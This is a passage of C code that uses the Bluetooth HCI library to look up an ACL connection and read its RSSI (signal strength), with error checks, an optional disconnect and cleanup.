  cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
  if (!cr) {
    printf("Could not allocate memory\n");
    return -4;
  }
    
  bacpy(&cr->bdaddr, &bdaddr);
  cr->type = ACL_LINK;
  if (ioctl(dd, HCIGETCONNINFO, (unsigned long) cr) < 0) {
    printf("Get connection info failed\n");
    return -5;
  }
  
  memset(&rq, 0, sizeof(rq));
  rq.ogf    = OGF_STATUS_PARAM;
  rq.ocf    = OCF_READ_RSSI;
  rq.cparam = &cr->conn_info->handle;
  rq.clen   = 2;
  rq.rparam = &rp;
  rq.rlen   = READ_RSSI_RP_SIZE;
  
  if ( hci_send_req( dd, &rq, 100 ) < 0 ) {
    printf("Read RSSI failed\n");
    return -6;
  }
  
  if (rp.status) {
    printf("Read RSSI returned (error) status 0x%2.2X\n", rp.status);
    return -7;
  }
  
  if (cc) {
    hci_disconnect(dd, handle, 0x13, 10000);
  }
  
  close(dd);
  free(cr);

  *pRSSI = rp.rssi;

  return 0;
}